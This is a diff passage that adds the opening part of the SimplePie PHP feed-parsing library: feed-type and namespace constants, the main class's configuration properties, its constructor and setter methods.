+define('SIMPLEPIE_LINKBACK', '<a href="' . SIMPLEPIE_URL . '" title="' . SIMPLEPIE_NAME . ' ' . SIMPLEPIE_VERSION . '">' . SIMPLEPIE_NAME . '</a>');
+
+/**
+ * No Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_NONE', 0);
+
+/**
+ * Feed Link Element Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_AUTODISCOVERY', 1);
+
+/**
+ * Local Feed Extension Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_LOCAL_EXTENSION', 2);
+
+/**
+ * Local Feed Body Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_LOCAL_BODY', 4);
+
+/**
+ * Remote Feed Extension Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_REMOTE_EXTENSION', 8);
+
+/**
+ * Remote Feed Body Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_REMOTE_BODY', 16);
+
+/**
+ * All Feed Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_ALL', 31);
+
+/**
+ * No known feed type
+ */
+define('SIMPLEPIE_TYPE_NONE', 0);
+
+/**
+ * RSS 0.90
+ */
+define('SIMPLEPIE_TYPE_RSS_090', 1);
+
+/**
+ * RSS 0.91 (Netscape)
+ */
+define('SIMPLEPIE_TYPE_RSS_091_NETSCAPE', 2);
+
+/**
+ * RSS 0.91 (Userland)
+ */
+define('SIMPLEPIE_TYPE_RSS_091_USERLAND', 4);
+
+/**
+ * RSS 0.91 (both Netscape and Userland)
+ */
+define('SIMPLEPIE_TYPE_RSS_091', 6);
+
+/**
+ * RSS 0.92
+ */
+define('SIMPLEPIE_TYPE_RSS_092', 8);
+
+/**
+ * RSS 0.93
+ */
+define('SIMPLEPIE_TYPE_RSS_093', 16);
+
+/**
+ * RSS 0.94
+ */
+define('SIMPLEPIE_TYPE_RSS_094', 32);
+
+/**
+ * RSS 1.0
+ */
+define('SIMPLEPIE_TYPE_RSS_10', 64);
+
+/**
+ * RSS 2.0
+ */
+define('SIMPLEPIE_TYPE_RSS_20', 128);
+
+/**
+ * RDF-based RSS
+ */
+define('SIMPLEPIE_TYPE_RSS_RDF', 65);
+
+/**
+ * Non-RDF-based RSS (truly intended as syndication format)
+ */
+define('SIMPLEPIE_TYPE_RSS_SYNDICATION', 190);
+
+/**
+ * All RSS
+ */
+define('SIMPLEPIE_TYPE_RSS_ALL', 255);
+
+/**
+ * Atom 0.3
+ */
+define('SIMPLEPIE_TYPE_ATOM_03', 256);
+
+/**
+ * Atom 1.0
+ */
+define('SIMPLEPIE_TYPE_ATOM_10', 512);
+
+/**
+ * All Atom
+ */
+define('SIMPLEPIE_TYPE_ATOM_ALL', 768);
+
+/**
+ * All feed types
+ */
+define('SIMPLEPIE_TYPE_ALL', 1023);
+
+/**
+ * No construct
+ */
+define('SIMPLEPIE_CONSTRUCT_NONE', 0);
+
+/**
+ * Text construct
+ */
+define('SIMPLEPIE_CONSTRUCT_TEXT', 1);
+
+/**
+ * HTML construct
+ */
+define('SIMPLEPIE_CONSTRUCT_HTML', 2);
+
+/**
+ * XHTML construct
+ */
+define('SIMPLEPIE_CONSTRUCT_XHTML', 4);
+
+/**
+ * base64-encoded construct
+ */
+define('SIMPLEPIE_CONSTRUCT_BASE64', 8);
+
+/**
+ * IRI construct
+ */
+define('SIMPLEPIE_CONSTRUCT_IRI', 16);
+
+/**
+ * A construct that might be HTML
+ */
+define('SIMPLEPIE_CONSTRUCT_MAYBE_HTML', 32);
+
+/**
+ * All constructs
+ */
+define('SIMPLEPIE_CONSTRUCT_ALL', 63);
+
+/**
+ * PCRE for HTML attributes
+ */
+define('SIMPLEPIE_PCRE_HTML_ATTRIBUTE', '((?:[\x09\x0A\x0B\x0C\x0D\x20]+[^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"(?:[^"]*)"|\'(?:[^\']*)\'|(?:[^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?)*)[\x09\x0A\x0B\x0C\x0D\x20]*');
+
+/**
+ * PCRE for XML attributes
+ */
+define('SIMPLEPIE_PCRE_XML_ATTRIBUTE', '((?:\s+(?:(?:[^\s:]+:)?[^\s:]+)\s*=\s*(?:"(?:[^"]*)"|\'(?:[^\']*)\'))*)\s*');
+
+/**
+ * XML Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_XML', 'http://www.w3.org/XML/1998/namespace');
+
+/**
+ * Atom 1.0 Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_ATOM_10', 'http://www.w3.org/2005/Atom');
+
+/**
+ * Atom 0.3 Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_ATOM_03', 'http://purl.org/atom/ns#');
+
+/**
+ * RDF Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_RDF', 'http://www.w3.org/1999/02/22-rdf-syntax-ns#');
+
+/**
+ * RSS 0.90 Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_RSS_090', 'http://my.netscape.com/rdf/simple/0.9/');
+
+/**
+ * RSS 1.0 Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_RSS_10', 'http://purl.org/rss/1.0/');
+
+/**
+ * RSS 1.0 Content Module Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_RSS_10_MODULES_CONTENT', 'http://purl.org/rss/1.0/modules/content/');
+
+/**
+ * DC 1.0 Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_DC_10', 'http://purl.org/dc/elements/1.0/');
+
+/**
+ * DC 1.1 Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_DC_11', 'http://purl.org/dc/elements/1.1/');
+
+/**
+ * W3C Basic Geo (WGS84 lat/long) Vocabulary Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO', 'http://www.w3.org/2003/01/geo/wgs84_pos#');
+
+/**
+ * GeoRSS Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_GEORSS', 'http://www.georss.org/georss');
+
+/**
+ * Media RSS Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_MEDIARSS', 'http://search.yahoo.com/mrss/');
+
+/**
+ * Wrong Media RSS Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG', 'http://search.yahoo.com/mrss');
+
+/**
+ * iTunes RSS Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_ITUNES', 'http://www.itunes.com/dtds/podcast-1.0.dtd');
+
+/**
+ * XHTML Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_XHTML', 'http://www.w3.org/1999/xhtml');
+
+/**
+ * IANA Link Relations Registry
+ */
+define('SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY', 'http://www.iana.org/assignments/relation/');
+
+/**
+ * Whether we're running on PHP5
+ */
+define('SIMPLEPIE_PHP5', version_compare(PHP_VERSION, '5.0.0', '>='));
+
+/**
+ * No file source
+ */
+define('SIMPLEPIE_FILE_SOURCE_NONE', 0);
+
+/**
+ * Remote file source
+ */
+define('SIMPLEPIE_FILE_SOURCE_REMOTE', 1);
+
+/**
+ * Local file source
+ */
+define('SIMPLEPIE_FILE_SOURCE_LOCAL', 2);
+
+/**
+ * fsockopen() file source
+ */
+define('SIMPLEPIE_FILE_SOURCE_FSOCKOPEN', 4);
+
+/**
+ * cURL file source
+ */
+define('SIMPLEPIE_FILE_SOURCE_CURL', 8);
+
+/**
+ * file_get_contents() file source
+ */
+define('SIMPLEPIE_FILE_SOURCE_FILE_GET_CONTENTS', 16);
+
+/**
+ * SimplePie
+ *
+ * @package SimplePie
+ * @version "Razzleberry"
+ * @copyright 2004-2007 Ryan Parman, Geoffrey Sneddon
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @todo Option for type of fetching (cache, not modified header, fetch, etc.)
+ */
+class SimplePie
+{
+	/**
+	 * @var array Raw data
+	 * @access private
+	 */
+	var $data = array();
+
+	/**
+	 * @var mixed Error string
+	 * @access private
+	 */
+	var $error;
+
+	/**
+	 * @var object Instance of SimplePie_Sanitize (or other class)
+	 * @see SimplePie::set_sanitize_class()
+	 * @access private
+	 */
+	var $sanitize;
+
+	/**
+	 * @var string SimplePie Useragent
+	 * @see SimplePie::set_useragent()
+	 * @access private
+	 */
+	var $useragent = SIMPLEPIE_USERAGENT;
+
+	/**
+	 * @var string Feed URL
+	 * @see SimplePie::set_feed_url()
+	 * @access private
+	 */
+	var $feed_url;
+
+	/**
+	 * @var object Instance of SimplePie_File to use as a feed
+	 * @see SimplePie::set_file()
+	 * @access private
+	 */
+	var $file;
+
+	/**
+	 * @var string Raw feed data
+	 * @see SimplePie::set_raw_data()
+	 * @access private
+	 */
+	var $raw_data;
+
+	/**
+	 * @var int Timeout for fetching remote files
+	 * @see SimplePie::set_timeout()
+	 * @access private
+	 */
+	var $timeout = 10;
+
+	/**
+	 * @var bool Forces fsockopen() to be used for remote files instead
+	 * of cURL, even if a new enough version is installed
+	 * @see SimplePie::force_fsockopen()
+	 * @access private
+	 */
+	var $force_fsockopen = false;
+
+	/**
+	 * @var bool Force the given data/URL to be treated as a feed no matter what
+	 * it appears like
+	 * @see SimplePie::force_feed()
+	 * @access private
+	 */
+	var $force_feed = false;
+
+	/**
+	 * @var bool Enable/Disable XML dump
+	 * @see SimplePie::enable_xml_dump()
+	 * @access private
+	 */
+	var $xml_dump = false;
+
+	/**
+	 * @var bool Enable/Disable Caching
+	 * @see SimplePie::enable_cache()
+	 * @access private
+	 */
+	var $cache = true;
+
+	/**
+	 * @var int Cache duration (in seconds)
+	 * @see SimplePie::set_cache_duration()
+	 * @access private
+	 */
+	var $cache_duration = 3600;
+
+	/**
+	 * @var int Auto-discovery cache duration (in seconds)
+	 * @see SimplePie::set_autodiscovery_cache_duration()
+	 * @access private
+	 */
+	var $autodiscovery_cache_duration = 604800; // 7 Days.
+
+	/**
+	 * @var string Cache location (relative to executing script)
+	 * @see SimplePie::set_cache_location()
+	 * @access private
+	 */
+	var $cache_location = './cache';
+
+	/**
+	 * @var string Function that creates the cache filename
+	 * @see SimplePie::set_cache_name_function()
+	 * @access private
+	 */
+	var $cache_name_function = 'md5';
+
+	/**
+	 * @var bool Reorder feed by date descending
+	 * @see SimplePie::enable_order_by_date()
+	 * @access private
+	 */
+	var $order_by_date = true;
+
+	/**
+	 * @var mixed Force input encoding to be set to the follow value
+	 * (false, or anything type-cast to false, disables this feature)
+	 * @see SimplePie::set_input_encoding()
+	 * @access private
+	 */
+	var $input_encoding = false;
+
+	/**
+	 * @var int Feed Autodiscovery Level
+	 * @see SimplePie::set_autodiscovery_level()
+	 * @access private
+	 */
+	var $autodiscovery = SIMPLEPIE_LOCATOR_ALL;
+
+	/**
+	 * @var string Class used for caching feeds
+	 * @see SimplePie::set_cache_class()
+	 * @access private
+	 */
+	var $cache_class = 'SimplePie_Cache';
+
+	/**
+	 * @var string Class used for locating feeds
+	 * @see SimplePie::set_locator_class()
+	 * @access private
+	 */
+	var $locator_class = 'SimplePie_Locator';
+
+	/**
+	 * @var string Class used for parsing feeds
+	 * @see SimplePie::set_parser_class()
+	 * @access private
+	 */
+	var $parser_class = 'SimplePie_Parser';
+
+	/**
+	 * @var string Class used for fetching feeds
+	 * @see SimplePie::set_file_class()
+	 * @access private
+	 */
+	var $file_class = 'SimplePie_File';
+
+	/**
+	 * @var string Class used for items
+	 * @see SimplePie::set_item_class()
+	 * @access private
+	 */
+	var $item_class = 'SimplePie_Item';
+
+	/**
+	 * @var string Class used for authors
+	 * @see SimplePie::set_author_class()
+	 * @access private
+	 */
+	var $author_class = 'SimplePie_Author';
+
+	/**
+	 * @var string Class used for categories
+	 * @see SimplePie::set_category_class()
+	 * @access private
+	 */
+	var $category_class = 'SimplePie_Category';
+
+	/**
+	 * @var string Class used for enclosures
+	 * @see SimplePie::set_enclosures_class()
+	 * @access private
+	 */
+	var $enclosure_class = 'SimplePie_Enclosure';
+
+	/**
+	 * @var string Class used for Media RSS <media:text> captions
+	 * @see SimplePie::set_caption_class()
+	 * @access private
+	 */
+	var $caption_class = 'SimplePie_Caption';
+
+	/**
+	 * @var string Class used for Media RSS <media:copyright>
+	 * @see SimplePie::set_copyright_class()
+	 * @access private
+	 */
+	var $copyright_class = 'SimplePie_Copyright';
+
+	/**
+	 * @var string Class used for Media RSS <media:credit>
+	 * @see SimplePie::set_credit_class()
+	 * @access private
+	 */
+	var $credit_class = 'SimplePie_Credit';
+
+	/**
+	 * @var string Class used for Media RSS <media:rating>
+	 * @see SimplePie::set_rating_class()
+	 * @access private
+	 */
+	var $rating_class = 'SimplePie_Rating';
+
+	/**
+	 * @var string Class used for Media RSS <media:restriction>
+	 * @see SimplePie::set_restriction_class()
+	 * @access private
+	 */
+	var $restriction_class = 'SimplePie_Restriction';
+
+	/**
+	 * @var string Class used for content-type sniffing
+	 * @see SimplePie::set_content_type_sniffer_class()
+	 * @access private
+	 */
+	var $content_type_sniffer_class = 'SimplePie_Content_Type_Sniffer';
+
+	/**
+	 * @var string Class used for item sources.
+	 * @see SimplePie::set_source_class()
+	 * @access private
+	 */
+	var $source_class = 'SimplePie_Source';
+
+	/**
+	 * @var mixed Set javascript query string parameter (false, or
+	 * anything type-cast to false, disables this feature)
+	 * @see SimplePie::set_javascript()
+	 * @access private
+	 */
+	var $javascript = 'js';
+
+	/**
+	 * @var int Maximum number of feeds to check with autodiscovery
+	 * @see SimplePie::set_max_checked_feeds()
+	 * @access private
+	 */
+	var $max_checked_feeds = 10;
+
+	/**
+	 * @var string Web-accessible path to the handler_favicon.php file.
+	 * @see SimplePie::set_favicon_handler()
+	 * @access private
+	 */
+	var $favicon_handler = '';
+
+	/**
+	 * @var string Web-accessible path to the handler_image.php file.
+	 * @see SimplePie::set_image_handler()
+	 * @access private
+	 */
+	var $image_handler = '';
+
+	/**
+	 * @var array Stores the URLs when multiple feeds are being initialized.
+	 * @see SimplePie::set_feed_url()
+	 * @access private
+	 */
+	var $multifeed_url = array();
+
+	/**
+	 * @var array Stores SimplePie objects when multiple feeds initialized.
+	 * @access private
+	 */
+	var $multifeed_objects = array();
+
+	/**
+	 * @var array Stores the get_object_vars() array for use with multifeeds.
+	 * @see SimplePie::set_feed_url()
+	 * @access private
+	 */
+	var $config_settings = null;
+
+	/**
+	 * @var integer Stores the number of items to return per-feed with multifeeds.
+	 * @see SimplePie::set_item_limit()
+	 * @access private
+	 */
+	var $item_limit = 0;
+
+	/**
+	 * @var array Stores the default attributes to be stripped by strip_attributes().
+	 * @see SimplePie::strip_attributes()
+	 * @access private
+	 */
+	var $strip_attributes = array('bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc');
+
+	/**
+	 * @var array Stores the default tags to be stripped by strip_htmltags().
+	 * @see SimplePie::strip_htmltags()
+	 * @access private
+	 */
+	var $strip_htmltags = array('base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style');
+
+	/**
+	 * The SimplePie class contains feed level data and options
+	 *
+	 * There are two ways that you can create a new SimplePie object. The first
+	 * is by passing a feed URL as a parameter to the SimplePie constructor
+	 * (as well as optionally setting the cache location and cache expiry). This
+	 * will initialise the whole feed with all of the default settings, and you
+	 * can begin accessing methods and properties immediately.
+	 *
+	 * The second way is to create the SimplePie object with no parameters
+	 * at all. This will enable you to set configuration options. After setting
+	 * them, you must initialise the feed using $feed->init(). At that point the
+	 * object's methods and properties will be available to you. This format is
+	 * what is used throughout this documentation.
+	 *
+	 * @access public
+	 * @since 1.0 Preview Release
+	 * @param string $feed_url This is the URL you want to parse.
+	 * @param string $cache_location This is where you want the cache to be stored.
+	 * @param int $cache_duration This is the number of seconds that you want to store the cache file for.
+	 */
+	function SimplePie($feed_url = null, $cache_location = null, $cache_duration = null)
+	{
+		// Other objects, instances created here so we can set options on them
+		$this->sanitize =& new SimplePie_Sanitize;
+
+		// Set options if they're passed to the constructor
+		if ($cache_location !== null)
+		{
+			$this->set_cache_location($cache_location);
+		}
+
+		if ($cache_duration !== null)
+		{
+			$this->set_cache_duration($cache_duration);
+		}
+
+		// Only init the script if we're passed a feed URL
+		if ($feed_url !== null)
+		{
+			$this->set_feed_url($feed_url);
+			$this->init();
+		}
+	}
+
+	/**
+	 * Used for converting object to a string
+	 */
+	function __toString()
+	{
+		return md5(serialize($this->data));
+	}
+	
+	/**
+	 * Remove items that link back to this before destroying this object
+	 */
+	function __destruct()
+	{
+		if (!empty($this->data['items']))
+		{
+			foreach ($this->data['items'] as $item)
+			{
+				$item->__destruct();
+			}
+			unset($this->data['items']);
+		}
+		if (!empty($this->data['ordered_items']))
+		{
+			foreach ($this->data['ordered_items'] as $item)
+			{
+				$item->__destruct();
+			}
+			unset($this->data['ordered_items']);
+		}
+	}
+	
+	/**
+	 * Force the given data/URL to be treated as a feed no matter what it
+	 * appears like
+	 *
+	 * @access public
+	 * @since 1.1
+	 * @param bool $enable Force the given data/URL to be treated as a feed
+	 */
+	function force_feed($enable = false)
+	{
+		$this->force_feed = (bool) $enable;
+	}
+
+	/**
+	 * This is the URL of the feed you want to parse.
+	 *
+	 * This allows you to enter the URL of the feed you want to parse, or the
+	 * website you want to try to use auto-discovery on. This takes priority
+	 * over any set raw data.
+	 *
+	 * You can set multiple feeds to mash together by passing an array instead
+	 * of a string for the $url. Remember that with each additional feed comes
+	 * additional processing and resources.
+	 *
+	 * @access public
+	 * @since 1.0 Preview Release
+	 * @param mixed $url This is the URL (or array of URLs) that you want to parse.
+	 * @see SimplePie::set_raw_data()
+	 */
+	function set_feed_url($url)
+	{
+		if (is_array($url))
+		{
+			$this->multifeed_url = array();
+			foreach ($url as $value)
+			{
+				$this->multifeed_url[] = SimplePie_Misc::fix_protocol($value, 1);
+			}
+		}
+		else
+		{
+			$this->feed_url = SimplePie_Misc::fix_protocol($url, 1);
+		}
+	}
+
+	/**
+	 * Provides an instance of SimplePie_File to use as a feed
+	 *
+	 * @access public
+	 * @param object &$file Instance of SimplePie_File (or subclass)
+	 * @return bool True on success, false on failure
+	 */
+	function set_file(&$file)
+	{
+		if (is_a($file, 'SimplePie_File'))
+		{
+			$this->feed_url = $file->url;
+			$this->file =& $file;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to use a string of RSS/Atom data instead of a remote feed.
+	 *
+	 * If you have a feed available as a string in PHP, you can tell SimplePie
+	 * to parse that data string instead of a remote feed. Any set feed URL
+	 * takes precedence.
+	 *
+	 * @access public
+	 * @since 1.0 Beta 3
+	 * @param string $data RSS or Atom data as a string.
+	 * @see SimplePie::set_feed_url()
+	 */
+	function set_raw_data($data)
+	{
+		$this->raw_data = $data;
+	}
+
+	/**
+	 * Allows you to override the default timeout for fetching remote feeds.
+	 *
+	 * This allows you to change the maximum time the feed's server to respond
+	 * and send the feed back.
+	 *
+	 * @access public
+	 * @since 1.0 Beta 3
+	 * @param int $timeout The maximum number of seconds to spend waiting to retrieve a feed.
+	 */
+	function set_timeout($timeout = 10)
+	{
+		$this->timeout = (int) $timeout;
+	}
+
+	/**
+	 * Forces SimplePie to use fsockopen() instead of the preferred cURL
+	 * functions.
+	 *
+	 * @access public
+	 * @since 1.0 Beta 3
+	 * @param bool $enable Force fsockopen() to be used
+	 */
+	function force_fsockopen($enable = false)
+	{
+		$this->force_fsockopen = (bool) $enable;
+	}
+
+	/**
+	 * Outputs the raw XML content of the feed, after it has gone through
+	 * SimplePie's filters.
+	 *
+	 * Used only for debugging, this function will output the XML content as
+	 * text/xml. When SimplePie reads in a feed, it does a bit of cleaning up
+	 * before trying to parse it. Many parts of the feed are re-written in
+	 * memory, and in the end, you have a parsable feed. XML dump shows you the
+	 * actual XML that SimplePie tries to parse, which may or may not be very
+	 * different from the original feed.
+	 *
+	 * @access public
+	 * @since 1.0 Preview Release
+	 * @param bool $enable Enable XML dump
+	 */
+	function enable_xml_dump($enable = false)
+	{
+		$this->xml_dump = (bool) $enable;
+	}
+
+	/**
+	 * Enables/disables caching in SimplePie.
+	 *
+	 * This option allows you to disable caching all-together in SimplePie.
+	 * However, disabling the cache can lead to longer load times.
+	 *
+	 * @access public
+	 * @since 1.0 Preview Release
+	 * @param bool $enable Enable caching
+	 */
+	function enable_cache($enable = true)
+	{
+		$this->cache = (bool) $enable;
+	}
+
+	/**
+	 * Set the length of time (in seconds) that the contents of a feed
+	 * will be cached.
+	 *
+	 * @access public
+	 * @param int $seconds The feed content cache duration.
+	 */
+	function set_cache_duration($seconds = 3600)
+	{
+		$this->cache_duration = (int) $seconds;
+	}
+
+	/**
+	 * Set the length of time (in seconds) that the autodiscovered feed
+	 * URL will be cached.
+	 *
+	 * @access public
+	 * @param int $seconds The autodiscovered feed URL cache duration.
+	 */
+	function set_autodiscovery_cache_duration($seconds = 604800)
+	{
+		$this->autodiscovery_cache_duration = (int) $seconds;
+	}
+
+	/**
+	 * Set the file system location where the cached files should be stored.
+	 *
+	 * @access public
+	 * @param string $location The file system location.
+	 */
+	function set_cache_location($location = './cache')
+	{
+		$this->cache_location = (string) $location;
+	}
+
+	/**
+	 * Determines whether feed items should be sorted into reverse chronological order.
+	 *
+	 * @access public
+	 * @param bool $enable Sort as reverse chronological order.
+	 */
+	function enable_order_by_date($enable = true)
+	{
+		$this->order_by_date = (bool) $enable;
+	}
+
+	/**
+	 * Allows you to override the character encoding reported by the feed.
+	 *
+	 * @access public
+	 * @param string $encoding Character encoding.
+	 */
+	function set_input_encoding($encoding = false)
+	{
+		if ($encoding)
+		{
+			$this->input_encoding = (string) $encoding;
+		}
+		else
+		{
+			$this->input_encoding = false;
+		}
+	}
+
+	/**
+	 * Set how much feed autodiscovery to do
+	 *
+	 * @access public
+	 * @see SIMPLEPIE_LOCATOR_NONE
+	 * @see SIMPLEPIE_LOCATOR_AUTODISCOVERY
+	 * @see SIMPLEPIE_LOCATOR_LOCAL_EXTENSION
+	 * @see SIMPLEPIE_LOCATOR_LOCAL_BODY
+	 * @see SIMPLEPIE_LOCATOR_REMOTE_EXTENSION
+	 * @see SIMPLEPIE_LOCATOR_REMOTE_BODY
+	 * @see SIMPLEPIE_LOCATOR_ALL
+	 * @param int $level Feed Autodiscovery Level (level can be a
+	 * combination of the above constants, see bitwise OR operator)
+	 */
+	function set_autodiscovery_level($level = SIMPLEPIE_LOCATOR_ALL)
+	{
+		$this->autodiscovery = (int) $level;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for caching.
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_cache_class($class = 'SimplePie_Cache')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Cache'))
+		{
+			$this->cache_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for auto-discovery.
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_locator_class($class = 'SimplePie_Locator')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Locator'))
+		{
+			$this->locator_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for XML parsing.
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_parser_class($class = 'SimplePie_Parser')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Parser'))
+		{
+			$this->parser_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for remote file fetching.
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_file_class($class = 'SimplePie_File')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_File'))
+		{
+			$this->file_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for data sanitization.
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_sanitize_class($class = 'SimplePie_Sanitize')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Sanitize'))
+		{
+			$this->sanitize =& new $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for handling feed items.
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_item_class($class = 'SimplePie_Item')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Item'))
+		{
+			$this->item_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for handling author data.
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_author_class($class = 'SimplePie_Author')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Author'))
+		{
+			$this->author_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for handling category data.
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_category_class($class = 'SimplePie_Category')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Category'))
+		{
+			$this->category_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for feed enclosures.
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_enclosure_class($class = 'SimplePie_Enclosure')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Enclosure'))
+		{
+			$this->enclosure_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for <media:text> captions
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_caption_class($class = 'SimplePie_Caption')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Caption'))
+		{
+			$this->caption_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for <media:copyright>
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_copyright_class($class = 'SimplePie_Copyright')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Copyright'))
+		{
+			$this->copyright_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for <media:credit>
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_credit_class($class = 'SimplePie_Credit')
+	{
